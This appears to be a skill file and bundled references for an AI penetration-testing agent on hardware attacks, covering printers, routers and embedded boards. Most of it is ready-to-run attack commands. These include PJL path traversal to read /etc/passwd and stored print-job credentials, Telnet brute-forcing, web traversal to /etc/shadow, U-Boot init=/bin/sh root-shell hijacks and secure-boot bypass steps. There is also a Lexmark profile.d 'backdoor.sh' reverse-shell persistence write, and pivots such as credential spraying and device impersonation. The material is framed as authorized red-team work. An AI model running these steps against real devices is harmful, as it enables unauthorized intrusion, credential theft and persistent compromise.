Hardware Technique

Hardware Technique

Goal: gain privileged access to an embedded or peripheral device, extract and analyze its firmware, and identify actionable vulnerabilities — within authorized scope and with minimum physical damage risk.

When this technique applies

• Black-box assessment of a router, IoT gateway, industrial panel, smart appliance, or custom embedded board.
• Physical access to a printer, kiosk, ATM, or network appliance for red team validation.
• Post-procurement firmware analysis of a device before deployment.
• Red team scenario requiring extraction of credentials, keys, or configuration from a physical device.
• Authorized printer/peripheral exploitation via network-exposed management protocols.

Boundary with other skills

• RF and wireless: signal capture, SDR, Wi-Fi, BLE → wireless-technique.
• ICS field protocols: Modbus, DNP3, S7, EtherNet/IP exploitation → ics-technique.
• CTF lab hardware tasks: .sal captures, challenge firmware, CTF framing → hardware-ctf.
• Firmware static/dynamic reversing: deep binary analysis after extraction → reversing-technique.
• Physical evidence handling: forensic acquisition → forensic-technique.

Initial triage

Before touching hardware, classify the attack surface and choose the least invasive path.

• Network before physical: can the objective be reached via a network-exposed management interface (PJL, Telnet, HTTP admin, SSH) before opening the device?
• Console vs JTAG vs flash: UART console is reversible and non-destructive; JTAG halts the processor; direct flash read is offline but risks pad damage.
• First questions: what OS/firmware is running, is a bootloader accessible, is there a serial header on the PCB, what management protocols are exposed on the network?
• Escalation rule: prefer non-invasive paths (network interface, UART monitor) before destructive paths (direct flash read, JTAG force-halt).

Agent operating model

Loop:
  1. Enumerate attack surface — network services, PCB headers, debug pads, firmware version.
  2. Choose entry path — network management, UART console, JTAG, or direct flash.
  3. Gain access or dump firmware.
  4. Analyze: extract filesystem, find credentials/keys, identify vulnerabilities.
  5. Escalate or pivot as scoped.

Stop when: objective achieved, all paths exhausted, or scope boundary reached.

---

Phase 1 — Network-exposed management interfaces

Attempt before physical access. Many embedded devices expose exploitable management protocols over the network.

Printer and peripheral protocol attacks (PJL)

PJL (Printer Job Language) is exposed on TCP 9100 or via HTTP-based printer management consoles.

# Network discovery
nmap -p 9100,515,631 <target>

# PJL filesystem enumeration via raw TCP or HTTP POST form
echo '@PJL FSDIRLIST NAME="0:" ENTRY=1 COUNT=50' | nc <target> 9100

# Read a file via PJL FSUPLOAD
echo '@PJL FSUPLOAD NAME="0:/webServer/default/csconfig" SIZE=4520' | nc <target> 9100

# Path traversal: 0: maps to /printer or /hpmnt on the host
echo '@PJL FSUPLOAD NAME="0:/../../etc/passwd" SIZE=500' | nc <target> 9100

# List saved print jobs — may contain cleartext credentials, PINs, flag comments
echo '@PJL FSDIRLIST NAME="0:/../../home/default/" ENTRY=1 COUNT=50' | nc <target> 9100
echo '@PJL FSUPLOAD NAME="0:/../../home/default/readyjob" SIZE=500' | nc <target> 9100

Key PJL targets after traversal:

• /home/default/readyjob — JetDirect boot job; may contain cleartext credentials or PIN in @PJL COMMENT / @PJL SET fields.
• /etc/passwd, /etc/shadow — device user accounts.
• App config files and embedded web server assets.

Telnet / SSH / default credentials

nmap -sV -p 22,23,80,443,8080,8443 <target>
# Common defaults: admin:admin, admin:password, root:root, root:(empty)
hydra -l admin -P /usr/share/wordlists/common-passwords.txt telnet://<target>

Embedded HTTP admin

curl -sv http://<target>/
nikto -h http://<target>
# Common paths: /cgi-bin/info.cgi, /admin/config, /etc/passwd (traversal)

---

Phase 2 — UART serial console

UART is the most common non-invasive physical entry point. A root shell via UART is typically non-destructive and reversible.

Identify UART pins

PCB inspection:
  1. Locate 3–4 unpopulated through-holes or test pads near the SoC.
  2. Measure voltage: VCC (~3.3 V or 5 V), GND (0 V), TX (idle HIGH), RX (high-impedance).
  3. Use a multimeter or logic analyzer to confirm: TX toggles during boot.
  4. Common layout: GND–TX–RX–VCC or VCC–TX–RX–GND.
  5. JTAGulator can auto-scan up to 24 channels — saves time on dense boards.

Connect and identify baud rate

# Connect USB-UART adapter: TX→RX, RX→TX, GND→GND
# Do NOT connect VCC if device is self-powered

# Try common baud rates: 115200, 57600, 38400, 19200, 9600
screen /dev/ttyUSB0 115200
# or
minicom -D /dev/ttyUSB0 -b 115200
# If garbled: cycle through rates

Boot console exploitation

Watch during boot for:
  - U-Boot / Barebox prompt ("Hit any key to stop autoboot" — press key immediately)
  - Kernel cmdline showing root filesystem and init path
  - Login prompt (try root with no password, or common defaults)

U-Boot useful commands:
  printenv         — dump all env vars (may expose credentials, signing keys, boot args)
  md 0x80000000    — memory dump at address
  setenv bootargs  — modify kernel cmdline before boot
  boot             — resume

Modify boot args for shell access

# In U-Boot: override init to drop to shell before OS init
setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh'
boot
# Result: root shell before any authentication

Secure boot bypass (when U-Boot has verified boot)

When signature verification is enabled:

• Read signing key material from NAND/SPI flash (often stored unprotected even on secure-boot devices).
• Patch U-Boot environment to disable CONFIG_SECUREBOOT checks (requires flash write).
• Fault injection via voltage glitching on VCC rail during signature check window.
• Check for downgrade attacks: sign a vulnerable older bootloader if key rotates late.

---

Phase 3 — JTAG / SWD debug interface

Use when UART is unavailable or the boot sequence cannot be interrupted.

Identify JTAG pins non-destructively

Standard ARM JTAG: TCK, TMS, TDI, TDO, nTRST, nSRST, GND, VCC
Compact: JTAG-10, ARM-SWD-10, TAG-Connect
JTAGulator: auto-scan up to 24 channels for JTAG/UART pins

OpenOCD — connect and dump memory

openocd -f interface/ftdi/olimex-arm-usb-ocd-h.cfg -f target/stm32f4x.cfg

# telnet localhost 4444:
halt
mdw 0x08000000 256                          # dump flash as 32-bit words
dump_image firmware.bin 0x08000000 0x100000 # dump 1 MB
resume

---

Phase 4 — SPI / NAND flash direct dump

Use when device boots from external SPI flash and other paths are blocked.

# Identify flash chip (read markings on PCB: Winbond W25Q*, Macronix MX25L*, GigaDevice GD25Q*)
# In-circuit dump (device powered off, clip on flash IC)
flashrom -p ch341a_spi -r firmware.bin

# Verify — read twice and compare hashes
flashrom -p ch341a_spi -r firmware2.bin
md5sum firmware.bin firmware2.bin   # must match before any write

---

Phase 5 — Firmware analysis

# Identify
file firmware.bin
binwalk firmware.bin

# Extract
binwalk -Me firmware.bin

# Credential and key hunting
grep -r "password\|passwd\|secret\|api_key\|private_key\|BEGIN " _firmware.bin.extracted/ 2>/dev/null
find . -name "shadow" -o -name "*.pem" -o -name "*.key" 2>/dev/null

# Architecture identification for disassembly handoff
file _firmware.bin.extracted/squashfs-root/bin/busybox
# → MIPS/ARM/ARC → reversing-technique for binary analysis

Key artifacts:

• /etc/passwd, /etc/shadow — crack offline with hashcat/john.
• /etc/config/ — OpenWrt-style config with credentials.
• Web server config — hardcoded credentials, API keys.
• Init scripts — startup sequence, privileged operations, service ports.
• TLS certificates/private keys — may be device-wide or model-wide (shared across all units).

---

Phase 6 — Embedded OS post-exploitation

# Survey
uname -a; id; cat /etc/passwd; mount; netstat -tlnp 2>/dev/null || ss -tlnp; ps aux || ps

# Credential extraction
cat /etc/shadow 2>/dev/null
find / -name "*.conf" -o -name "*.cfg" 2>/dev/null | xargs grep -l "pass\|key\|secret" 2>/dev/null

# Persistence locations
ls /etc/init.d/ /etc/rc.d/ /etc/crontab 2>/dev/null

Pivot paths:

• Extract credentials → spray on adjacent network services.
• Read config → find VPN keys, API tokens, upstream credentials.
• Device certificate → impersonate device on PKI-authenticated network.

---

Quality gates

• Voltage verified before connecting any probe.
• Flash dump: two independent reads match (md5) before any write.
• JTAG: lab target confirmed; recovery path (JTAG reflash) documented before halting.
• Network management path attempted before physical access.
• All extracted credentials and keys handled per engagement rules of engagement.

Anti-patterns

• Connecting probes without verifying voltage domain — destroys hardware.
• Starting JTAG write or flash modification on a production device without lab-equivalent risk assessment.
• Trusting a single flash read without verification.
• Skipping network management path — it is fastest, safest, and often sufficient.

Resources

• references/serial-console-attacks.md — UART pin identification, baud rate brute-force, U-Boot exploitation, boot arg hijack, secure boot bypass patterns.
• references/firmware-extraction.md — SPI/NAND dump workflow, flashrom usage, binwalk extraction, filesystem triage, credential and key hunting in extracted images.
• references/jtag-swd-attacks.md — JTAG/SWD pin identification, OpenOCD setup, memory dump patterns, fault injection scope.
• references/peripheral-protocol-attacks.md — PJL filesystem traversal, Telnet/SSH defaults, embedded HTTP admin exploitation, printer NVRAM and job-data extraction.

Firmware Extraction and Analysis

Reference for obtaining and analyzing firmware from embedded devices.

---

Acquisition paths (prioritize least invasive)

---

Vendor download

# Search: "<vendor> <model> firmware download"
# Common sources:
#   - Vendor support portal (often requires serial/MAC registration)
#   - FCC database (https://www.fcc.gov/oet/ea/fccid) — firmware in test reports
#   - firmware.re, openwrt firmware selector, exploit-db firmware mirrors
#   - GitHub (vendor open-source components, GPL releases)

# Extract once downloaded
binwalk -e <firmware.bin>

---

SPI flash extraction (in-circuit)

# Tools: ch341a USB programmer + SOIC-8 clip
# Identify chip: Winbond W25Q128, Macronix MX25L12835F, GigaDevice GD25Q127C

# Install flashrom
sudo apt install flashrom

# Probe chip type
flashrom -p ch341a_spi

# Dump (always do twice and compare)
flashrom -p ch341a_spi -r firmware1.bin
flashrom -p ch341a_spi -r firmware2.bin
md5sum firmware1.bin firmware2.bin   # must match — if not, check clip connection

# Write modified firmware (lab only, authorized)
flashrom -p ch341a_spi -w modified.bin --verify

---

NAND flash extraction

NAND is more complex than SPI: requires ECC (error correction), bad block mapping, and OOB (out-of-band) data handling.

# Tools: NAND Flash programmer (e.g., Dediprog, RT809H, TNM5000)
# Extract raw NAND image including OOB
# Then use nanddump or ubi-utils to reconstruct filesystem:
nanddump --oob --bb=skipbad /dev/mtd0 -f nand_raw.bin
ubiformat /dev/mtd0; ubimkvol /dev/ubi0 -N rootfs -m

---

Firmware analysis with binwalk

# Identify contents
binwalk firmware.bin

# Extract all recognized formats recursively
binwalk -Me firmware.bin
# Output in: _firmware.bin.extracted/

# Common extractions:
#   squashfs → squashfs-root/ (Linux root FS)
#   cramfs   → cramfs-root/
#   jffs2    → jffs2-root/
#   ubifs    → ubifs-root/
#   gzip/lzma compressed data → auto-decompressed

# Manual SquashFS extraction (if binwalk fails)
unsquashfs -d squashfs-root squashfs.img

---

Credential and secret hunting

cd _firmware.bin.extracted/

# Passwords and hashes
find . -name "shadow" -o -name "passwd" 2>/dev/null
grep -r "password\|passwd\|secret\|api_key\|token\|pass=" --include="*.conf" --include="*.cfg" --include="*.ini" --include="*.json" --include="*.xml" -l 2>/dev/null | head -20

# Private keys and certificates
find . -name "*.pem" -o -name "*.key" -o -name "*.crt" -o -name "*.p12" 2>/dev/null
grep -r "BEGIN PRIVATE KEY\|BEGIN RSA PRIVATE KEY\|BEGIN EC PRIVATE KEY" . -l 2>/dev/null

# Hardcoded strings in binaries
strings squashfs-root/usr/sbin/httpd | grep -i "pass\|admin\|secret\|key\|token\|auth"

# Backdoor indicators
find . -name "*.sh" | xargs grep -l "nc \|netcat\|/dev/tcp\|bash -i" 2>/dev/null

---

Architecture identification for reversing handoff

file squashfs-root/bin/busybox
# Common results:
#   ELF 32-bit LSB, ARM → Ghidra ARM (LE), IDA ARM
#   ELF 32-bit MSB, MIPS → Ghidra MIPS (BE), radare2 -a mips -b 32
#   ELF 64-bit LSB, AArch64 → Ghidra AARCH64
#   ELF 32-bit LSB, Intel 80386 → standard x86

# Cross-architecture emulation for dynamic analysis
# Use QEMU user-mode or system emulation:
qemu-arm-static -L squashfs-root squashfs-root/usr/sbin/httpd
# Or full system with firmwalker/FirmAE for complex setups

---

Key files to examine after extraction

---

Tools summary

JTAG/SWD Attack Reference

Practical workflow for JTAG (IEEE 1149.1) and SWD (ARM Serial Wire Debug) interfaces on embedded targets.

Pin identification

Standard JTAG pinout (TAP)

• TCK — Test Clock
• TMS — Test Mode Select
• TDI — Test Data In
• TDO — Test Data Out
• TRST — Test Reset (optional)
• GND, VTREF — reference voltage (read-only, do not source)

SWD pinout (2-wire ARM)

• SWCLK — clock
• SWDIO — bidirectional data
• SWO — trace output (optional)
• nRESET — system reset

Common header footprints

• 20-pin 0.1" ARM JTAG, 10-pin 0.05" Cortex Debug, 14-pin TI, 6-pin SWD, undocumented test pads/vias.

Pin discovery

When pins are unmarked:

1. Visual / continuity — multimeter buzzer for pullup resistors near MCU; TDO usually weakly driven, TMS/TDI pulled high. 2. JTAGulator — brute-forces TDI/TDO/TCK/TMS combinations over test channels, decodes IDCODE. 3. JTAGenum — Arduino sketch alternative; slower but free. 4. Logic analyzer — capture during boot, look for clocked serial activity on suspect pads.

Mandatory before probing: confirm VTREF with multimeter; level-shift if target is 1.8V/3.3V and adapter is 5V.

Hardware adapters

OpenOCD baseline workflow

# Identify target — start with generic config, watch IDCODE
openocd -f interface/jlink.cfg -c "transport select jtag" \
        -c "adapter speed 100" -c "init" -c "scan_chain" -c "exit"

# Once IDCODE matches a known MCU, load full target config
openocd -f interface/jlink.cfg -f target/stm32f1x.cfg

# In another terminal: GDB or telnet
telnet localhost 4444
> halt
> flash banks
> dump_image firmware.bin 0x08000000 0x20000
> exit

Common IDCODE patterns (last hex digit = manufacturer ID per JEP106):

• 0x4ba00477 — ARM Cortex-A
• 0x2ba01477 — ARM Cortex-M3/M4
• 0x0bc11477 — ARM Cortex-M0+

Flash dump

# After halt, dump entire flash region
> dump_image fw.bin <flash_base> <size>

# Verify: re-read and compare
> verify_image fw.bin <flash_base>

For SPI flash on board (separate from MCU): desolder or in-circuit clip → flashrom -p ch341a_spi -r dump.bin.

Read protection bypass

Always check the latest research before declaring a target unrecoverable; vendor mitigations evolve.

SWD-specific notes

• 2-wire only; identification via DPIDR register read.
• OpenOCD: transport select swd and matching target/*.cfg.
• ARM Cortex-M: SWD provides full debug (halt, register access, memory R/W) equivalent to JTAG for most operations.
• Multi-drop SWD (newer Cortex-M) requires dap apsel/dap dpreg tuning.

Halt-and-extract gotchas

• Halting MCU may freeze peripherals (watchdog, motor controllers, safety interlocks). On safety-critical targets, halt only in controlled bench environment.
• Some bootloaders disable JTAG after boot — interrupt with reset halt immediately on power-up.
• Code RAM may differ from flash if bootloader decrypts in place; dump RAM region post-boot for runtime image.

Fault injection adjuncts

Voltage glitching (ChipWhisperer, PicoEMP, custom MOSFET rig) can bypass:

• Secure boot signature checks
• RDP/APPROTECT lifecycle bits
• PIN comparison loops in bootloader

Successful glitch parameters (delay/width) are target-specific; campaign requires 10^3–10^6 attempts with success-detection oracle.

Evidence to capture

• IDCODE / DPIDR full chain
• Flash dump SHA-256
• Memory map (RAM, flash, peripheral regions)
• Protection bit states pre/post operation
• OpenOCD logs (-d3 for debug)

References

• OpenOCD User's Guide — https://openocd.org/doc/html/
• ARM ADIv5/ADIv6 Architecture Specification (debug protocol)
• JTAGulator project — http://www.grandideastudio.com/jtagulator/
• "Hardware Hacking Handbook" (Woudenberg & O'Flynn, 2021) — fault injection chapters

Peripheral Protocol Attacks

Reference for printer/peripheral network management protocol exploitation in authorized assessments.

---

PJL (Printer Job Language)

Protocol overview

PJL is HP's bidirectional control language for switching print languages and querying printer state. It is exposed on TCP 9100 (raw print socket), TCP 515 (LPD), and TCP 631 (IPP), and also via HTTP POST forms in embedded web management UIs. No authentication required by default on most implementations.

PRET — Printer Exploitation Toolkit

PRET automates PJL (and PostScript/PCL) attacks against network printers.

# Install
git clone https://github.com/RUB-NDS/PRET && cd PRET && pip3 install -r requirements.txt

# PJL mode (HP, Lexmark, others)
python3 pret.py <target> pjl

# Key PRET commands:
# ls, cd, get, put — filesystem navigation and file access
ls /
get /etc/passwd
get /webServer/default/csconfig

# id, pwd — device identity and current directory
id
pwd

# nvram dump — read NVRAM (printer password, settings)
nvram dump

# Display message on printer panel
display "Owned by Red Team"

Manual PJL command reference

Send commands via netcat to TCP 9100, or via HTTP POST (field name pjl) on managed printer UIs.

Filesystem path mapping (HP LaserJet)

The PJL filesystem volume 0: maps to a directory on the underlying OS (commonly /printer, /hpmnt, or similar). Path traversal via ../ accesses the host filesystem:

0:/                              → /printer/ (PJL root)
0:/../../                        → / (filesystem root)
0:/../../etc/passwd              → /etc/passwd
0:/../../home/default/readyjob   → JetDirect boot job file (PINs, credentials)
0:/webServer/default/csconfig    → ChaiServer config

High-value targets in printer filesystem

Path traversal shell persistence (Lexmark pattern)

On Lexmark devices, path traversal allows writing files to the host filesystem's profile.d:

# Write a reverse shell init script (authorized lab only)
@PJL FSDOWNLOAD FORMAT:BINARY NAME="0:/../../rw/var/etc/profile.d/backdoor.sh" SIZE=<n>
<shell script content>
# On next reboot, the script executes as root during device init

PostScript path (PRET ps mode)

python3 pret.py <target> ps
# Commands: ls, get, put, id, execute (run arbitrary PostScript)

---

Telnet / Serial-over-LAN defaults

Many embedded devices expose a root shell over Telnet with default or no credentials.

nmap -p 23 <subnet>/24 --open
telnet <target>

# Common defaults to try:
# root:(empty)   admin:admin   admin:password   root:root
# root:admin     root:1234     admin:1234

---

Embedded HTTP admin panel

# Fingerprint and crawl
curl -sv http://<target>/
nikto -h http://<target>

# Directory traversal via web interface (complement PJL traversal)
curl "http://<target>/cgi-bin/info.cgi?file=../../etc/passwd"
curl "http://<target>/?path=../../../../etc/shadow"

# Default admin credential endpoints
/admin/, /management/, /config, /setup, /cgi-bin/admin.cgi

---

Resources

• PRET GitHub: https://github.com/RUB-NDS/PRET
• Hacking Printers wiki (PJL, PostScript, PCL reference): http://hacking-printers.net/wiki/
• NCC Group Lexmark PJL traversal analysis: https://research.nccgroup.com/2022/02/18/analyzing-a-pjl-directory-traversal-vulnerability-exploiting-the-lexmark-mc3224i-printer-part-2/

Serial Console Attacks (UART)

Reference for UART/serial console exploitation in hardware assessments.

---

UART fundamentals

UART (Universal Asynchronous Receiver-Transmitter) is the most common debug interface on embedded devices. It requires 3 connections: TX (transmit), RX (receive), GND. VCC is optional and dangerous — never connect VCC if the target is self-powered.

Voltage levels: 3.3 V is most common on modern SoCs; older devices and industrial hardware may use 5 V or 1.8 V. Always measure before connecting.

---

Pin identification workflow

1. Power on device, observe boot activity.
2. Locate 3–4 adjacent unpopulated pads/holes near the SoC (often labeled J1, J2, DEBUG).
3. Multimeter in DC voltage mode:
   - GND: ~0 V (relative to known ground reference)
   - VCC: constant 3.3 V or 5 V
   - TX: ~3.3 V at idle, toggles during boot
   - RX: measured as high-impedance input; inject known signal from adapter to verify
4. Logic analyzer on TX pin confirms boot data at specific baud rate.

JTAGulator — automated pin identification

# JTAGulator can scan UART pins automatically
# Connect all candidate pins to JTAGulator channels
# Run UART discovery: JTAGulator sends known strings at multiple baud rates
# Reports detected TX pin and baud rate

---

Connection setup

# Required: USB-UART adapter (CP2102, CH340, FT232RL)
# Wire: adapter-TX → device-RX, adapter-RX → device-TX, adapter-GND → device-GND

# Linux: adapter appears as /dev/ttyUSB0 or /dev/ttyACM0
ls /dev/ttyUSB*

# Connect with screen (Ctrl-A, K to exit)
screen /dev/ttyUSB0 115200

# Connect with minicom
minicom -D /dev/ttyUSB0 -b 115200

# Log session to file (useful for reporting)
screen -L -Logfile uart_session.log /dev/ttyUSB0 115200

---

Baud rate identification

If output is garbled, cycle through standard baud rates. Most embedded Linux devices use 115200; industrial/legacy may use lower rates.

# Common baud rates in priority order:
# 115200  57600  38400  19200  9600  4800  2400

# Automated brute-force with minicom:
for baud in 115200 57600 38400 19200 9600; do
  echo "Trying $baud..."
  timeout 5 minicom -D /dev/ttyUSB0 -b $baud -C /tmp/uart_${baud}.log
done

# Inspect logs for readable ASCII — correct baud shows boot messages

---

Boot console exploitation

U-Boot (most common embedded bootloader)

During power-on, watch for: "Hit any key to stop autoboot: X"
→ Press any key immediately to enter U-Boot shell

U-Boot commands:
  printenv              — dump all environment variables
  setenv <var> <val>    — set variable
  saveenv               — persist to flash
  boot                  — continue boot with current args
  md 0x80000000 100     — memory dump (hex dump) at address, 100 words
  mw 0x80000000 0 1     — memory write (careful)
  sf probe; sf read ... — SPI flash operations
  nand read ...         — NAND flash read
  tftp <addr> <file>    — load image over TFTP

Modify kernel boot args for immediate root shell

# In U-Boot:
printenv bootargs                    # record original (for rollback)
setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock2 rw init=/bin/sh'
boot
# → drops to /bin/sh as root before any OS init

# Alternative: append to existing args
setenv bootargs "${bootargs} init=/bin/sh"
boot

Barebox bootloader

# Similar to U-Boot; interactive shell available
devinfo               # list devices
ls /                  # filesystem view
boot                  # continue
# Modify bootargs: edit /env/boot/default or use 'global bootargs'

---

Common UART console scenarios

Scenario 1: Root shell directly

Some devices drop straight to a root shell on serial console with no authentication. Enumerate immediately:

id; uname -a; cat /etc/passwd; cat /etc/shadow; ifconfig; netstat -tlnp

Scenario 2: Login prompt with unknown credentials

# Try before bruteforcing:
root:(empty)
root:root
root:admin
root:password
root:toor
admin:admin
# Device model-specific defaults (check vendor manuals, FCC filings)

# Bruteforce with minicom scripting or custom expect script:
expect -c "
spawn minicom -D /dev/ttyUSB0 -b 115200
expect \"login:\" { send \"root\r\" }
expect \"Password:\" { send \"\r\" }
expect \$ { send \"id\r\" }
interact
"

Scenario 3: Restricted shell (rbash, ash limited)

# Escape techniques:
vi               # :!/bin/sh
more /etc/passwd # !/bin/sh
python3 -c 'import pty; pty.spawn("/bin/sh")'
# Set PATH: export PATH=/bin:/sbin:/usr/bin:/usr/sbin

Scenario 4: Single-user mode (systemd/SysV)

# On kernel with systemd — add to bootargs:
systemd.unit=rescue.target   # or emergency.target

# On SysV init:
init=/bin/sh
# or:
single

---

Secure boot bypass techniques

When U-Boot enforces verified boot (signature check on kernel image):

1. Read environment from flash: U-Boot config and signing keys are often stored unprotected in a separate flash partition. Dump with SPI programmer and look for key material. 2. Environment override via UART: some builds allow setenv verify 0 to disable signature check. 3. Voltage glitching: inject a brief voltage drop on VCC during the signature verification window to cause a computation fault. Requires a glitching tool (ChipWhisperer, self-built crowbar circuit) and timing calibration. 4. Downgrade attack: if key rotation hasn't occurred, sign a vulnerable older U-Boot binary with the device's known key (extracted from another unit or leaked firmware). 5. Flash write bypass: reflash a modified U-Boot without secure boot enabled using SPI programmer after chip-off.

---

Tools summary